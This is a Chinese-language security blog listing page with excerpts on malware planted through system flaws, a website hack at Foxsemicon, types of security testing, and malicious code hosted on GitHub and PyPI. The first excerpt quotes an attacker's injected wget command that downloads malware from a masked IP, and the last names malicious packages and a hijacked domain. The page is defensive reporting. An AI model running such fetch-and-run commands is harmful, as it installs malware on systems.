-
Continue reading →: 駭客利用系統漏洞植入新型惡意程式
光盾研究員不斷發現駭客利用系統漏洞，嘗試於各式系統中植入新型惡意程式。近期一個案例，是攻擊者利用上傳功能，在系統中植入Unix.Virus.Ladvix。此病毒會在Unix系統中挖礦，且駭客可遠端控制受駭的電腦、置入更多惡意檔案。 在另一個例子中，駭客利用了主機控制漏洞(OS Commanding)，使用以下指令，控制主機下載病毒(原始IP位址已被遮蔽): wget http://x.x.x.x/df2vGJJ58ivF 由VirusTotal進行偵測，可發現僅一支防毒軟體能正確偵測此支病毒: 防止此類問題需要利用深層防禦(Defense in Depth)的概念。深度防禦（DiD）是一種資訊安全的方法，其中一系列的防禦機制被層層堆疊，以保護有價值的數據和資訊。如果一個機制失效，另一個立即介入以阻止攻擊。這種多層次的方法可提高系統整體的安全性，並應對許多不同的攻擊維度。舉例來說，除了應用程式防火牆、IPS/IDS、防毒之外，主機亦應布署監控機制，偵測並阻擋未知的「內往外」連線。 此外，為防止系統包含重大漏洞，定期的滲透測試、弱點掃描均為必須。這些方式能在駭客破解漏洞之前，先了解問題並修補系統。
-
Continue reading →: 駭客入侵半導體大廠京鼎網站
鴻海集團旗下半導體設備大廠京鼎(3413)遭駭客入侵。根據駭客留在官網的資訊，表示如果京鼎不支付費用，客戶資料將被公開。下面是官網遭駭的原始截圖: 相關新聞網址: https://infosecu.technews.tw/2024/01/16/foxsemicon-been-hacked/
-
Continue reading →: 源碼檢測、弱點掃描和滲透測試有什麼不同?
源碼檢測、弱點掃描和滲透測試是與系統安全相關的不同檢測方式，因此適用性、可檢測的內容、需要時程等等都不一樣。以下是它們的主要區別： 總體而言，源碼檢測主要關注源碼層面的問題，弱點掃描側重於已知漏洞的識別，而滲透測試則模擬實際攻擊，通過多個角度評估系統的安全性。這三者通常作為綜合的安全測試策略的一部份，以提高整體安全性。
-
Continue reading →: 駭客利用GitHub程式入侵系統
光盾研究室發現愈來愈多惡意軟體放置在GitHub、Dropbox、Google Drive、OneDrive和Discord等等服務中，藉由加密、亂碼化等方式規避這些平台的檢測工具。接著，駭客利用系統漏洞或社交工程，在受害系統上植入這些程式。而不少惡意程式在VirusTotal上的檢測率為0%。一些惡意程式會偽裝成正常程式，使相關應對、查核變得更加困難(例如: 光盾研究室發現一惡意程式偽裝成遠端桌面軟體，已有數萬次下載)。 此外，眾多PyPI，例如: httprequesthub、pyhttpproxifier、libsock、libproxy和libsocks5，它們偽裝成用於處理網路代理的函式庫，並將電腦的敏感資料傳給駭客。這是其中一個連結: https://security.snyk.io/vuln/SNYK-PYTHON-HTTPREQUESTHUB-6139265。 此類狀況有爆炸型成長趨勢，且光盾研究室亦發現諸多程式碼已被塞入惡意連結。例如，”jsapi.info”即被光盾檢測出曾被植入重大系統中(因開發人員直接include第三方函式庫)，但此網域於2022年為駭客所控制，專門用來散播新型惡意程式。 有鑑於此，完整的第三方元件的查核、滲透測試等等，在系統上線前進行，都非常重要。採取有效的控管方式，方可根本預防此類重大問題。
光盾資訊
分享資安相關文章、新聞的地方
與我們聯絡
Check out latest information security news!
Stay updated with our latest news